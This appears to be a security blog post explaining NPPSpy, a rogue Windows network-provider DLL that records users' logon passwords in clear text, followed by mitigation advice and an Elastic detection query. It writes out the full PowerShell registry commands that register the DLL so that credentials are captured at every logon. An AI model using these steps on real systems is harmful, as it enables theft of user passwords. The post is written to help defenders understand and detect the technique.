Extracting Windows credentials from Domain based hosts is one of the common attack techniques hackers use to obtain user credentials from Windows hosts. Once obtained, these user credentials are used to laterally move between the hosts and deploy threats or exfiltrate data from the network.
Background:
Credential extraction from memory is made more challenging by the security features Additional LSA Protection and Credential Guard. Credential Guard, for instance, encrypts the passwords of domain users, and the Local Security Authority Subsystem Service (LSASS) service is not known to have been directly attacked. Only security modules that Microsoft has signed are permitted to be loaded into the LSASS process using LSA Protection.
By dumping what is already on the system, threat actors frequently obtain credentials. Some technologies, such as Responder, enable the threat actor to listen over the entire network and capture some hashes that are circling the Active Directory. In this blog, we will be looking at a technique used by NPPSpy to dump the credential data in clear text format, and also we will have a look at detection and mitigation steps for this attack technique.
Working of NPPSpy:
One of the main roles of the operating system is user authentication. Multiple parts of the Windows Authentication Architecture have access to credentials. These elements can process the credentials further once users log in to the operating system. Caching credentials is a commonly used process that allows users to authenticate to other systems without entering their login and password again. The conversation between Winlogon and the Local Security Authority Subsystem Service (LSASS) is most relevant for our instance. Winlogon is both the graphical user interface that we use to put our credentials in, as well as the conversational partner with LSASS for letting you sign in.
The NPPSPY approach chooses to concentrate on Winlogon because using LSASS to try and acquire credentials is more complicated. When the username and password are provided to Winlogon, it opens up an (RPC) channel to mpnotify.exe and sends it over the password. Mpnotify then forwards these credentials to some DLLs. In the technique used by NPPSpy, Mpnotify is notified maliciously of a new adversarial network provider to consider which is controlled by the attacker and comes with a backdoored DLL the adversary has created. This backdoored DLL simply listens for this clear text credential exchange from Winlogon down to mpnotify and then saves this clear text credential exchange.
Usage of NPPSpy:
The entire project was written by Grzegorz Tworek and can be downloaded from https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy.
After the project is cloned, we need to follow the below-provided steps:
1. Copy the NPPSPY.dll to C:\Windows\System32\ directory.
2. Some registry keys must be set and NPPSpy must be registered as a network provider which can be done with the help of the below PowerShell commands:
> $NetworkProviderName = “NPPSpy”
> New-Item -Path “HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName”
> New-Item -Path “HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName\NetworkProvider”
> New-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName\NetworkProvider” -Name “Class” -Value 2
> New-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName\NetworkProvider” -Name “Name” -Value $NetworkProviderName
> New-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\$NetworkProviderName\NetworkProvider” -Name “ProviderPath” -PropertyType ExpandString -Value “%SystemRoot%\System32\$NetworkProviderName.dll”
> $NetworkProviderPath = Get-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order” -Name ProviderOrder
> $NetworkProviderOrder = $NetworkProviderPath.ProviderOrder + “,$NetworkProviderName”
> Set-ItemProperty -Path $NetworkProviderPath.PSPath -Name ProviderOrder -Value $NetworkProviderOrder
NPPSpy is now active and saves the credentials in the file C:NPPSpy.txt every time someone logs in.
Mitigation:
Because a DLL file is copied into the Windows system directory and registry entries are created/adjusted, the attack requires administrative privileges. If the attacker gains administrative privileges, the attack cannot be stopped directly. There are no hardening measures for network providers, unlike the LSASS process. An endpoint solution may detect the NPPSpy DLL.
But here are 2 steps to remediate the attack:
1. Deleting <C:\windows\system32\attacker.dll> prevents the credential file from being written.
2. Deleting the key HKLM:\SYSTEM\CurrentControlSet\Services\\NetworkProvider stops the credential file from being written.
Detection:
The query suggested in the article Network Logon Provider Registry Modification by Elastic search can be used for Elasticsearch:
registry where registry.data.strings != null and registry.path : “HKL
M\\SYSTEM\\*ControlSet*\\Services\\*\\NetworkProvider\\ProviderPath”
and /* Excluding default NetworkProviders RDPNP, LanmanWorkstation
and webclient. */ not ( user.id : “S-1-5-18” and
registry.data.strings in
(“%SystemRoot%\\System32\\ntlanman.dll”,
“%SystemRoot%\\System32\\drprov.dll”,
“%SystemRoot%\\System32\\davclnt.dll”) )
Also, In Grzegorz Tworek’s repository, there is a PowerShell script ‘Get-NetworkProviders.ps1’, which lists all registered network providers of a system. This can be used to analyze the network providers and lists additional information about the respective DLL file, whether it was signed, and by whom.
Apart from that here are 2 steps for further detection:
1. Monitor the registry key < HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order\ProviderOrder > for changes.
2. Monitor services that are registered as Network Providers.
3. Monitor and action on any new files thats been added to System32 folder.